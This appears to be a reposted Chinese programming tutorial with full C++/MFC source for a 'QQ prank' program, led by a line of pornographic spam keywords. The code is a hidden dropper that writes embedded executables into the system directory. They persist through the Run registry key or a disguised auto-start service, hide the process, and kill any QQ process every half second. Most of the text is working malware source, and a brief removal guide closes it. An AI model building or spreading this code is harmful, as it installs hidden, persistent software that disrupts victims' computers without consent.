国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看
打開APP
未登錄
開通VIP,暢享免費電子書等14項超值服
開通VIP
首頁
好書
留言交流
下載APP
聯(lián)系客服
親手打造一個QQ惡作劇程序
slogoo
>《NET+Information》
2006.04.20
關注
程序原理:獲取系統(tǒng)中的所有進程,并保存在一個數(shù)組中,然后在數(shù)組中查找含有QQ,oicq,qq,OICQ字樣的進程,如果找到就立即殺掉該進程.這樣你一運行QQ,QQ進程就會被立即殺掉,也就是說如果該惡作劇程序一直運行你就不能上QQ了.呵呵,這招是不是有點毒啊?好了,現(xiàn)在一步一步的來講程序的編寫過程.
首先我們要解決的問題是如何實現(xiàn)惡作劇程序的自我隱藏,關于進程隱藏的文章很多,我就只簡單的介紹一下了.在Win9X系統(tǒng)下可以通過調用RegisterServiceProcess API這個API函數(shù)將進程注冊為一個服務模式的進程,這樣在Win9X系統(tǒng)下用Ctrl+Alt+Del調出的任務管理器中將不會出現(xiàn)這個進程了.RegisterServiceProcess API函數(shù)存放于系統(tǒng)內核Kernel32.dll中.具體聲明如下:
DWORD RegisterServiceProcess(
DWORD dwProcessId, //服務進程的進程標志,如果為NULL表示當前進程
DWORD dwType //如果參數(shù)為RSP_SIMPLE_SERVICE 表示注冊當前進程
//如果參數(shù)為RSP_UNREGISTER_SERVICE 表示取消當前進程的注冊
);
函數(shù)調用成功返回1,否則返回0
通過對RegisterServiceProcess 這個API函數(shù)的調用我們就能實現(xiàn)在Win9X系統(tǒng)下的進程隱藏了.但是要在WinNT系統(tǒng)下真正的實現(xiàn)進程隱藏就沒有在Win9X系統(tǒng)下那么簡單了.只要進程以進程內核的形式運行,進程就將出現(xiàn)在任務管理器中.要實現(xiàn)WinNT下進程的真正隱藏,只能以非進程的方式執(zhí)行目標代碼,也就是說把目標代碼以線程的方式遠程注冊到宿主進程中.關于這種方法的實現(xiàn)已經有文章介紹,在這里就不多說了.在這里,我并沒有采用這種隱藏進程的方法而是將進程注冊為系統(tǒng)的一個名為Service的服務進程,雖然這樣并沒有真正的隱藏進程,但是在一般情況下還是不容易發(fā)現(xiàn)的.在Win2000下用任務管理器查看進程時是不能結束該進程的,必須通過控制面板中的服務管理控制臺來停止服務,也可以在命令行下用net stop service來停止服務在XP下可以通過任務管理器結束該進程.這里簡單介紹一下WinNT中的服務程序:
在WinNT中,一些后臺服務程序是隨著系統(tǒng)的啟動而自動加載的.用戶也可以通過控制面板中的服務管理控制臺對服務的屬性進行靈活的設置.甚至在用戶沒有登陸的情況下這些服務程序也能啟動,象Ftp服務,WWW服務和一些數(shù)據(jù)庫就是以服務的形式存在于NT服務器上從而實現(xiàn)了無人職守. 在NT操作系統(tǒng)中,所有的后臺服務全都由服務控制管理器進行統(tǒng)一管理,這些后臺服務的狀態(tài)數(shù)據(jù)都保存在服務控制管理器數(shù)據(jù)庫中.所以要想創(chuàng)建一個新的后臺服務,在應用程序的主模塊里應首先調用函數(shù)OpenSCManager打開該數(shù)據(jù)庫,再調用函數(shù)CreateService在此數(shù)據(jù)庫中創(chuàng)建1個新的服務線程對象,并將該線程對象啟動屬性設置為隨系統(tǒng)啟動自動加載,這樣NT在重新啟動時該線程就會由NT自動啟動.完成這一步,僅僅實現(xiàn)了后臺服務線程對象的注冊,還沒有建立與服務控制管理器的聯(lián)結.要想啟動服務可以通過函數(shù)StartService來完成,具體的過程我們將在編寫Service.exe的時候介紹.
說了這么多,你也許都看得不耐煩了吧,OK,現(xiàn)在正式切入主題,開始動手打造我們的QQ惡作劇程序.程序由三部分組成,主程序funny.exe,kernel.exe,Service.exe.首先我們先把kernel.exe和Service.exe程序寫好,這兩個是完成主要功能的程序.然后將其轉換成16進制代碼放在在funny.exe定義的兩個全局字符數(shù)組中,當funny.exe運行的時候根據(jù)操作系統(tǒng)的版本決定在系統(tǒng)目錄下創(chuàng)建kernel.exe還是Service.exe.kernel.exe將被創(chuàng)建到Win9X的系統(tǒng)目錄下,Service.exe將被創(chuàng)建到Win2000/XP的系統(tǒng)目錄下.
現(xiàn)在我們開始來編寫kernel.exe:
打開VC++6.0(啊?不要告訴我你電腦上沒有裝吧,那趕緊去裝一個,不然你怎么寫程序呢?呵呵)
運行AppWizard創(chuàng)建一個對話框應用程序.工程名為kernel.在CKernelDlg類中添加HideWindow(),HideProcess(),
Reg()三個函數(shù).代碼如下:
//隱藏對話框窗體
void CKernelDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW ;
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//將進程注冊為服務模式的進程從而隱藏自身
void CKernelDlg::HideProcess()
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)
GetProcAddress(hDLL,"RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
FreeLibrary(hDLL);
}
//修改注冊表,開機時自動運行
void CKernelDlg::Reg()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\kernel.exe");
DWORD dwValue;
CRegKey Key;
LPCTSTR lpszKeyname="Software\\Microsoft\\
Windows
\\CurrentVersion\\Run";
if(Key.Open(HKEY_LOCAL_MACHINE,lpszKeyname)==ERROR_SUCCESS)
if( Key.QueryValue(dwValue,"Kernel")!=ERROR_SUCCESS)
Key.SetValue(lpsysfilename,"Kernel");
Key.Close();
}
這里用到了CRegKey類,需要在KernelDlg.cpp中添加頭文件atlbase.h關于CRegKey的詳細用法可以參考MSDN幫助文檔.然后利用類向導添加WM_TIMER消息,并在消息響應函數(shù)中加入以下代碼:
void CKernelDlg::OnTimer(UINT nIDEvent)
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
//枚舉系統(tǒng)中的所有進程并保存在數(shù)組類對象m_PEArray中
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));
}
int i;
//在保存進程的數(shù)組中查找是否含有QQ,OICQ,qq,oicq字樣的進程找到立即將其結束
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray[i].szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray[i].th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}
CDialog::OnTimer(nIDEvent);
}
其中m_PEArray的定義如下:CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;,在對話框初始化函數(shù)中加入以下代碼:
BOOL CKernelDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隱藏對話框窗口
HideProcess(); //Win9x下在任務管理器中隱藏進程
Reg(); //改寫注冊表,開機自動運行
SetTimer(1,500,NULL); //設定記時器,不斷刷新進程數(shù)組,并尋找QQ程將其結束
return TRUE;
}
這樣kernel.exe程序就完成了,現(xiàn)在可以編譯連接成可執(zhí)行文件了.(后附工程文件).
編寫Service.exe:
創(chuàng)建一個名為Service的Win32 Console Application程序,選擇對MFC的支持Service.cpp的代碼如下:
/******************************************************************/
/*Module:Service.cpp */
/*Author:Inetufo */
/*Email:Inetufo@thugx.com */
/*Date:2003/3/7 */
/******************************************************************/
// Service.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "Service.h"
#include "winsvc.h"
#include <atlbase.h> //CRegKey類需要的頭文件
#include <Afxtempl.h> //CArray類需要的頭文件
#include <tlhelp32.h> //ToolHelp函數(shù)需要的頭文件
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// The one and only application object
CWinApp theApp;
using namespace std;
SERVICE_STATUS_HANDLE ssh;
SC_HANDLE scm,svc;
SERVICE_STATUS ss;
CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
void InstallService();
UINT KillQQ(LPVOID lpvoid);
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TOD change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
SERVICE_TABLE_ENTRY ste[2];
//線程入口表
ste[0].lpServiceName="Service"; //線程名字
ste[0].lpServiceProc=ServiceMain; //線程入口地址
//可以有多個線程,最后一個必須為NULL
ste[1].lpServiceName=NULL;
ste[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ste);
InstallService();
}
return nRetCode;
}
//安裝并啟動服務
void InstallService()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\Service.exe");
scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(scm!=NULL)
svc=CreateService(scm,"Service","Service",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS│SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,lpsysfilename,NULL,NULL,NULL,NULL,NULL);
if(svc!=NULL)
svc=OpenService(scm,"Service",SERVICE_START);
if (svc!=NULL)
{
StartService(svc,0,NULL);
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
}
//服務的真正入口點函數(shù)
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
ss.dwServiceType = SERVICE_WIN32;
ss.dwCurrentState = SERVICE_START_PENDING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE;
ss.dwServiceSpecificExitCode = 0;
ss.dwWin32ExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
ssh=RegisterServiceCtrlHandler("Service",Handler);
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);
AfxBeginThread(KillQQ,NULL,NULL); //開始一個工作線程實現(xiàn)程序功能
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);
}
//處理服務要求
void WINAPI Handler(DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_STOP:
ss.dwCurrentState =SERVICE_STOPPED;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_CONTINUE:
ss.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_PAUSE:
ss.dwCurrentState = SERVICE_PAUSED;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
SetServiceStatus (ssh,&ss);
}
//在進程列表中查找QQ程序并殺掉的線程函數(shù)
UINT KillQQ(LPVOID lParam)
{
while(1)
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));
}
int i;
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray[i].szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray[i].th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}
Sleep(500);
}
return 0;
}
編譯連接可以生成Service.exe程序.(后附整個工程)
現(xiàn)在我們已經得到了實現(xiàn)功能的兩個程序,kernel.exe是在Win9X系統(tǒng)下實現(xiàn)功能的程序,Service.exe是Win2000/XP下實現(xiàn)功能的程序.現(xiàn)在就要將這兩個文件轉化成16進制代碼.可以通過一個程序來實現(xiàn),建立一個名為exe2hex的Win32 Console Application程序,程序代碼如下:
#include <stdio.h>
#include <
windows
.h>
int main(int argc,char **argv)
{
HANDLE hFile;
DWORD dwSize,dwRead,dwIndex=0,i;
unsigned char *lpBuff=NULL;
__try
{
if(argc!=2)
{
printf("\nUsage: %s <File>",argv[0]);
__leave;
}
hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("\nOpen file %s failed:%d",argv[1],GetLastError());
__leave;
}
dwSize=GetFileSize(hFile,NULL);
if(dwSize==INVALID_FILE_SIZE)
{
printf("\nGet file size failed:%d",GetLastError());
__leave;
}
lpBuff=(unsigned char *)malloc(dwSize);
if(!lpBuff)
{
printf("\nmalloc failed:%d",GetLastError());
__leave;
}
while(dwSize>dwIndex)
{
if(!ReadFile(hFile,&lpBuff[dwIndex],dwSize-dwIndex,&dwRead,NULL))
{
printf("\nRead file failed:%d",GetLastError());
__leave;
}
dwIndex+=dwRead;
}
for(i=0;i<dwSize;i++)
{
if((i%16)==0)
if(i==0)
printf("\"");
else
printf("\"\n\"");
printf("\\x%.2X",lpBuff[i]);
}
printf("\"");
}//end of try
__finally
{
if(lpBuff) free(lpBuff);
CloseHandle(hFile);
}
return 0;
}
編譯出可執(zhí)行文件exe2hex.exe,執(zhí)行exe2hex kernel.exe >kernel.txt將輸出結果重定向到一個文本文件就得到了kernel.exe的16進制代碼,同理可以得到Service.exe的16進制代碼.
啊,寫了這么多還真有點累了,不過還好總算要完成了,歇口氣.最后我們來編寫主程序funny.exe:
用AppWizard生成一個名為funny的對話框程序.定義兩個全局字符數(shù)組用來保存kernel.exe和Service.exe
的16進制代碼:char exebuff9x[]="kernel.exe的16進制代碼" char exebuff2k[]="Service.exe的16進制代碼".添加HideWindow(),IsWin9X(),CreateFileService9x(CString FileName),CreateFileService2k
(CString FileName),RunService(CString FileName)幾個函數(shù),其代碼和實現(xiàn)的功能如下:
//隱藏主窗口
void CFunnyDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW ;
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//獲取操作系統(tǒng)版本信息
BOOL CFunnyDlg::IsWin9X()
{
DWORD dwVersion;
dwVersion=::GetVersion();
if (dwVersion >= 0x80000000) //Win9x
return TRUE;
else
return FALSE; //Win2K/WinXP
}
//如果系統(tǒng)是Win9x則在系統(tǒng)目錄下創(chuàng)建kernel.exe
void CFunnyDlg::CreateFileService9x(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff9x);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
return ;
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff9x[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return ;
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return ;
}
//如果系統(tǒng)是Win2k/XP則在系統(tǒng)目錄下創(chuàng)建Service.exe
void CFunnyDlg::CreateFileService2k(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff2k);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
return ;
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff2k[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return ;
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return ;
}
//運行創(chuàng)建的kernel.exe或者Service.exe
void CFunnyDlg::RunService(CString FileName)
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW;
BOOL bRet=::CreateProcess(lpsysfilename,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
return ;
}
在對話框的初始化函數(shù)里面調用上面定義的函數(shù),其主要代碼如下:
BOOL CFunnyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隱藏對話框窗口
CString FileName="\\kernel.exe";
if(IsWin9X()) //判斷操作系統(tǒng)類型
{
CreateFileService9x(FileName); //在系統(tǒng)目錄下創(chuàng)建kernel.exe
RunService(FileName); //運行kernel.exe
}
else
{
FileName="\\Service.exe";
CreateFileService2k(FileName); //在系統(tǒng)目錄下創(chuàng)建Service.exe文件
RunService(FileName); //運行Service.exe
}
AfxBeginThread(ThreadMessage,NULL,NULL); //執(zhí)行線程函數(shù)ThreadMessage
return TRUE;
}
好了,funny程序也完成了,現(xiàn)在可以編譯連接成可執(zhí)行程序了,整個程序就算寫完了,你可以測試一下了以上代碼在Win98,Win2000,WinXp,VC++6.0環(huán)境下調試通過.(附整個工程文件).寫了這么多快要累死了.如果有什么問題請來信Inetufo@thugx.com,歡迎指教J
解決方法:
WIN98:
系統(tǒng)目錄下將生成kernel.exe文件,可以先將注冊表項HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows
\CurrentVersions\Run下面的kernel子鍵刪除.重起系統(tǒng)再刪除系統(tǒng)目錄下的kernel.exe文件
Win2K/XP:
運行服務控制管理器,停止掉Service服務,然后將系統(tǒng)目錄下的Service.exe文件刪除,要把服務從服務管理器中清除可以將HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services下面的Service鍵刪除即可.
本站僅提供存儲服務,所有內容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權內容,請
點擊舉報
。
打開APP,閱讀全文并永久保存
查看更多類似文章
猜你喜歡
類似文章
PE文件結構分析
通過代碼實現(xiàn)EXE文件圖標的替換
【原創(chuàng)&交流】PE文件格式的一些研究 - VC/MFC / 基礎類
一個完整的共享內存類
URLDownloadToFile
文件操作:CreateFile和WriteFile的學習
更多類似文章 >>
生活服務
首頁
萬象
文化
人生
生活
健康
教育
職場
理財
娛樂
藝術
上網
留言交流
回頂部
聯(lián)系我們
分享
收藏
點擊這里,查看已保存的文章
導長圖
關注
一鍵復制
下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!
聯(lián)系客服
微信登錄中...
請勿關閉此頁面
先別劃走!
送你5元優(yōu)惠券,購買VIP限時立減!
5
元
優(yōu)惠券
優(yōu)惠券還有
10:00
過期
馬上使用
×